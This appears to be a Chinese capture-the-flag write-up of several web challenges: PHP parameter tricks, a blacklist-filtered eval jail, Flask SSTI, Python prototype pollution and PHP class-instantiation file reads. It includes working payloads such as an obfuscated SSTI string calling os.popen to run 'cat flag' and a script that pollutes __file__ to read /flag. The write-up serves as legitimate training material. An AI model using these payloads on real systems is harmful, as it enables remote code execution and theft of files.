$len ($_POST)的长度等于 $array的长度 $tip($_GET)= ‘我要玩原神’ $m($_POST)长度为 2,且第一个元素等于字符串‘100%’,第二个元素等于字符串‘love100%’拼接‘100%’的 md5 值 首先,第一步要判断输入长度合适的 len 数组,使用脚本爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = 'http://gz.imxbt.cn:20279/' for i in range (1 , 100 ): payload = {f'len[{j} ]' : '0' for j in range (i)} resp = requests.post(url, data=payload) last_line = resp.text.splitlines()[-1 ] print (last_line) if '我不管,我要玩原神!😭😭😭' in last_line: print (f'长度是{i} \n' ) print ('&' .join(f'len[{m} ]=1' for m in range (i))) break
结果是 i=44,即 len 数组长度为 45
第二步
/?tip = 我要玩原神
第三步
m[0]=100%&m[1]=love100%30bd7ce7de206924302499f197c7a966
得到 json 数据
[“3295c76acbf4caaed33c36b1b5fc2cb1”,”26657d5ff9020d2abefe558796b99584”,”73278a4a86960eeb576a8fd4c9ec6997”,”ec8956637a99787bd197eacd77acce5e”,”e2c420d928d4bf8ce0ff2ec19b371514”,”43ec517d68b6edd3015b3edc9a11367b”,”ea5d2f1c4608232e07d3aa3d998e5135”,”c8ffe9a587b126f152ed3d89a146b445”,”642e92efb79421734881b53e1e1b18b6”,”2723d092b63885e0d7c260cc007e8b9d”,”a3c65c2974270fd093ee8a9bf8ae7d0b”,”65b9eea6e1cc6bb9f0cd2a47751a186f”,”66f041e16a60928b05a7e228a89c3799”,”a3c65c2974270fd093ee8a9bf8ae7d0b”,”b53b3a3d6ab90ce0268229151c9bde11”,”65b9eea6e1cc6bb9f0cd2a47751a186f”,”7f39f8317fbdb1988ef4c628eba02591”,”3416a75f4cea9109507cacd8e2f2aefc”,”7f6ffaa6bb0b408017b62254211691b5”,”1c383cd30b7c298ab50293adfecb7b18”,”182be0c5cdcd5072bb1864cdee4d3d6e”,”9f61408e3afb633e50cdf1b20de6f466”,”e369853df766fa44e1ed0ff613f563bd”,”d67d8ab4f4c10bf22aa353e27879133c”,”d9d4f495e875a2e075a1a4a6e1b9770f”,”d645920e395fedad7bbbed0eca3fe2e0”,”b53b3a3d6ab90ce0268229151c9bde11”,”a0a080f42e6f13b3a2df133f073095dd”,”ec5decca5ed3d6b8079e2e7e7bacc9f2”,”3416a75f4cea9109507cacd8e2f2aefc”,”17e62166fc8586dfa4d1bc0e1742c08b”,”c0c7c76d30bd3dcaefc96f40275bdc0a”,”735b90b4568125ed6c3f678819b6e058”,”70efdf2ec9b086079795c442636b55fb”,”3c59dc048e8850243be8079a5c74d079”,”14bfa6bb14875e45bba028a21ed38046”,”7cbbc409ec990f19c78c75bd1e06f215”,”1f0e3dad99908345f7439f8ffabdffc4”,”34173cb38f07f89ddbebc2ac9128303f”,”6f4922f45568161a8cdf4ad2299f6d23”,”c16a5320fa475530d9583c34fd356ef5”,”28dd2c7955ce926456240b2ff0100bde”,”6f4922f45568161a8cdf4ad2299f6d23”,”1f0e3dad99908345f7439f8ffabdffc4”,”43ec517d68b6edd3015b3edc9a11367b”]
编写脚本破译
方法 1
就是正常的遍历
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import hashlibmd5_flag = ["3295c76acbf4caaed33c36b1b5fc2cb1" , "26657d5ff9020d2abefe558796b99584" , "73278a4a86960eeb576a8fd4c9ec6997" , "ec8956637a99787bd197eacd77acce5e" , "e2c420d928d4bf8ce0ff2ec19b371514" , "43ec517d68b6edd3015b3edc9a11367b" , "ea5d2f1c4608232e07d3aa3d998e5135" , "c8ffe9a587b126f152ed3d89a146b445" , "642e92efb79421734881b53e1e1b18b6" , "2723d092b63885e0d7c260cc007e8b9d" , "a3c65c2974270fd093ee8a9bf8ae7d0b" , "65b9eea6e1cc6bb9f0cd2a47751a186f" , "66f041e16a60928b05a7e228a89c3799" , "a3c65c2974270fd093ee8a9bf8ae7d0b" , "b53b3a3d6ab90ce0268229151c9bde11" , "65b9eea6e1cc6bb9f0cd2a47751a186f" , "7f39f8317fbdb1988ef4c628eba02591" , "3416a75f4cea9109507cacd8e2f2aefc" , "7f6ffaa6bb0b408017b62254211691b5" , "1c383cd30b7c298ab50293adfecb7b18" , "182be0c5cdcd5072bb1864cdee4d3d6e" , "9f61408e3afb633e50cdf1b20de6f466" , "e369853df766fa44e1ed0ff613f563bd" , "d67d8ab4f4c10bf22aa353e27879133c" , "d9d4f495e875a2e075a1a4a6e1b9770f" , "d645920e395fedad7bbbed0eca3fe2e0" , "b53b3a3d6ab90ce0268229151c9bde11" , "a0a080f42e6f13b3a2df133f073095dd" , "ec5decca5ed3d6b8079e2e7e7bacc9f2" , "3416a75f4cea9109507cacd8e2f2aefc" , "17e62166fc8586dfa4d1bc0e1742c08b" , "c0c7c76d30bd3dcaefc96f40275bdc0a" , "735b90b4568125ed6c3f678819b6e058" , "70efdf2ec9b086079795c442636b55fb" , "3c59dc048e8850243be8079a5c74d079" , "14bfa6bb14875e45bba028a21ed38046" , "7cbbc409ec990f19c78c75bd1e06f215" , "1f0e3dad99908345f7439f8ffabdffc4" , "34173cb38f07f89ddbebc2ac9128303f" , "6f4922f45568161a8cdf4ad2299f6d23" , "c16a5320fa475530d9583c34fd356ef5" , "28dd2c7955ce926456240b2ff0100bde" , "6f4922f45568161a8cdf4ad2299f6d23" , "1f0e3dad99908345f7439f8ffabdffc4" , "43ec517d68b6edd3015b3edc9a11367b" ] flag = '' for i in range (45 ): for j in range (127 ): if hashlib.md5(str (i ^ j).encode()).hexdigest() == md5_flag[i]: flag += chr (j) print (flag)
方法 2
利用了上述讲的结论,先遍历出这个 MD5 加密前的数字
然后用数组序号与其异或运算就得到了该位置字符的 ascii 值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import hashlibmd5_flag = ["3295c76acbf4caaed33c36b1b5fc2cb1" , "26657d5ff9020d2abefe558796b99584" , "73278a4a86960eeb576a8fd4c9ec6997" , "ec8956637a99787bd197eacd77acce5e" , "e2c420d928d4bf8ce0ff2ec19b371514" , "43ec517d68b6edd3015b3edc9a11367b" , "ea5d2f1c4608232e07d3aa3d998e5135" , "c8ffe9a587b126f152ed3d89a146b445" , "642e92efb79421734881b53e1e1b18b6" , "2723d092b63885e0d7c260cc007e8b9d" , "a3c65c2974270fd093ee8a9bf8ae7d0b" , "65b9eea6e1cc6bb9f0cd2a47751a186f" , "66f041e16a60928b05a7e228a89c3799" , "a3c65c2974270fd093ee8a9bf8ae7d0b" , "b53b3a3d6ab90ce0268229151c9bde11" , "65b9eea6e1cc6bb9f0cd2a47751a186f" , "7f39f8317fbdb1988ef4c628eba02591" , "3416a75f4cea9109507cacd8e2f2aefc" , "7f6ffaa6bb0b408017b62254211691b5" , "1c383cd30b7c298ab50293adfecb7b18" , "182be0c5cdcd5072bb1864cdee4d3d6e" , "9f61408e3afb633e50cdf1b20de6f466" , "e369853df766fa44e1ed0ff613f563bd" , "d67d8ab4f4c10bf22aa353e27879133c" , "d9d4f495e875a2e075a1a4a6e1b9770f" , "d645920e395fedad7bbbed0eca3fe2e0" , "b53b3a3d6ab90ce0268229151c9bde11" , "a0a080f42e6f13b3a2df133f073095dd" , "ec5decca5ed3d6b8079e2e7e7bacc9f2" , "3416a75f4cea9109507cacd8e2f2aefc" , "17e62166fc8586dfa4d1bc0e1742c08b" , "c0c7c76d30bd3dcaefc96f40275bdc0a" , "735b90b4568125ed6c3f678819b6e058" , "70efdf2ec9b086079795c442636b55fb" , "3c59dc048e8850243be8079a5c74d079" , "14bfa6bb14875e45bba028a21ed38046" , "7cbbc409ec990f19c78c75bd1e06f215" , "1f0e3dad99908345f7439f8ffabdffc4" , "34173cb38f07f89ddbebc2ac9128303f" , "6f4922f45568161a8cdf4ad2299f6d23" , "c16a5320fa475530d9583c34fd356ef5" , "28dd2c7955ce926456240b2ff0100bde" , "6f4922f45568161a8cdf4ad2299f6d23" , "1f0e3dad99908345f7439f8ffabdffc4" , "43ec517d68b6edd3015b3edc9a11367b" ] flag = '' for i in range (45 ): for j in range (128 ): if hashlib.md5(str (j).encode()).hexdigest() == md5_flag[i]: flag += chr (i^j) print (flag)
ez_php_jail 考点: 当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。
glob()函数:
glob() 函数返回匹配指定模式的文件名或目录。
该函数返回一个包含有匹配文件 / 目录的数组。如果出错返回 false。
highlight_file() 函数
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
提示:****用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。
注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!
题解: 进入题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php highlight_file (__FILE__ ); error_reporting (0 ); include ("hint.html" ); $Jail = $_GET ['Jail_by.Happy' ]; if ($Jail == null ) die ("Do You Like My Jail?" ); function Like_Jail ($var ) { if (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) { return false ; } return true ; } if (Like_Jail ($Jail )) { eval ($Jail ); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ; ?>
ctrl+U 查看源码
解码一下,得到
ph0_info_Like_jail.php
访问这个页面,得到 phpinfo
我们只是用 glob()函数没有用,因为我们只返回了一个文件路径
借助 highlight_file()函数高亮显示文件中的代码
复读机 考点 SSTI(模板注入): 参考文章
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
常用的类和方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __class__用来查看变量所属的类 __bases__用来查看类的基类,就是父类(或者__base__) __mro__:显示类和基类 __subclasses__ ():查看当前类的子类__getitem__:对数组字典的内容提取 __init__ : 初始化类,返回的类型是function __globals__ :查看全局变量,有哪些可用的函数方法等,然后再搜索popen ,eval 等__builtins__ :提供对Python 的所有"内置"标识符的直接访问,即先加载内嵌函数再调用__import__ : 动态加载类和函数,用于导入模块,经常用于导入os 模块(例如__import__ ('os' ).popen ('ls' ).read ( ))url_for :flask 的方法,可以用于得到__builtins__ lipsum :flask 的一个方法,可以用于得到__builtins__ ,而且lipsum .__globals__ 含有os 模块: {{lipsum.__globals__['os' ].popen ('ls' ).read ()}}config:当前application的所有配置。 popen ():执行一个 shell 以运行命令来开启一个进程request.args.key:获取get传入的key的值
SSTI漏洞利用基本流程
获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令
题解 发现对关键字和一些符号有过滤
1 + - * / . {{ }} __ : " \
获取’’的类
再获取基类‘object’
再获取‘object’的所有派生类
在网页里看不下来,到 burp 里看
寻找可以 RCE 的类,使用数组序号选择这个类
然后创建类,然后 globals 获取所有模块和方法,寻找可以读代码的方法
os.popen() 方法用于从一个命令打开一个管道。
因为禁用了/,所以找方法进入根目录
使用环境变量
最终输入如下
1 BaseCTF{%print ('' ['_' '_cla' 'ss_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcl' 'asses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ]['cd $OLDPWD;cat flag' ]['re' 'ad' ]())%}
week4 圣钥之战1.0 考点: merge()函数:
Python原型链污染: 参考文章
主要原理还是通过 merge 函数往对象树里合并内容
这题的原理就是通过污染 __file__,再利用这个玩意,在/read 界面把 flag 爆出来
题解:
进入/read,看到 python 的 flask 框架,下面只列出关键部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 def merge (src, dst ): """ 这个函数的目的是将源字典(src)中的键值对合并到目标对象(dst)中。 如果遇到源字典中的值也是字典类型,会递归地进行合并操作。 参数: - src:源字典,包含要合并到目标对象中的键值对。 - dst:目标对象,可以是字典或者具有属性的对象,用于接收源字典合并过来的内容。 """ for k, v in src.items(): """ 遍历源字典src中的每一个键值对。 k是键,v是对应的值。 """ if hasattr (dst, '__getitem__' ): """ 检查目标对象dst是否具有通过键获取值的能力(类似字典的__getitem__方法)。 这通常意味着dst可能是一个字典或者类似字典行为的对象。 """ if dst.get(k) and type (v) == dict : """ 如果目标对象dst中已经存在键k对应的键值对,并且当前源字典中的值v是一个字典类型, 那么就需要递归地调用merge函数,将v这个字典与dst中键k对应的字典进行进一步的合并操作。 """ merge(v, dst.get(k)) else : dst[k] = v """ 如果目标对象dst中不存在键k对应的键值对,或者当前源字典中的值v不是字典类型, 那么就直接将源字典中的键值对(k, v)添加到目标对象dst中。 """ elif hasattr (dst, k) and type (v) == dict : """ 如果目标对象dst不具有通过键获取值的能力(不类似字典的__getitem__方法), 但是具有名为k的属性,并且当前源字典中的值v是一个字典类型, 那么就需要递归地调用merge函数,将v这个字典与dst的属性k对应的对象进行进一步的合并操作。 这里通过getattr函数获取dst的属性k对应的对象。 """ merge(v, getattr (dst, k)) else : setattr (dst, k, v) """ 如果以上条件都不满足,即目标对象dst既不具有通过键获取值的能力, 也不存在名为k的属性,或者当前源字典中的值v不是字典类型, 那么就直接通过setattr函数将源字典中的键值对(k, v)设置为目标对象dst的属性。 """
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flask import Flask, requestimport jsonapp = Flask(__name__) @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data), instance) else : return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
编写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport jsonpayload = { "__init__" : { "__globals__" : { "__file__" : "/flag" } } } json_payload = json.dumps(payload) response = requests.post( "http://gz.imxbt.cn:20516/pollute" , data=json_payload, headers={"Content-Type" : "application/json" } ) print (response.text)url2 = "http://gz.imxbt.cn:20516/read" response2 = requests.get(url2) print (response2.text)
flag直接读取不就行了? 考点: PHP 的 DirectoryIterator 类: 参考文章
即通过这个迭代器类来获取目录下的文件信息
** PHP 的 SplFileObject类 :**参考文章
用法:SplFileObject(文件路径)
题解: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' ); error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
K、W是通过POST方式请求并且是通过类的方式创建了一个对象dir K:可以通过查询php文档找遍历的类。选择DirectoryIterator W:一般就先访问根目录 传入 ”/secret“
接下来就是读取文件内容
J 写入**SplFileObject **类,H 写入文件路径
之后我们没发现 flag,应该是在注释里
结束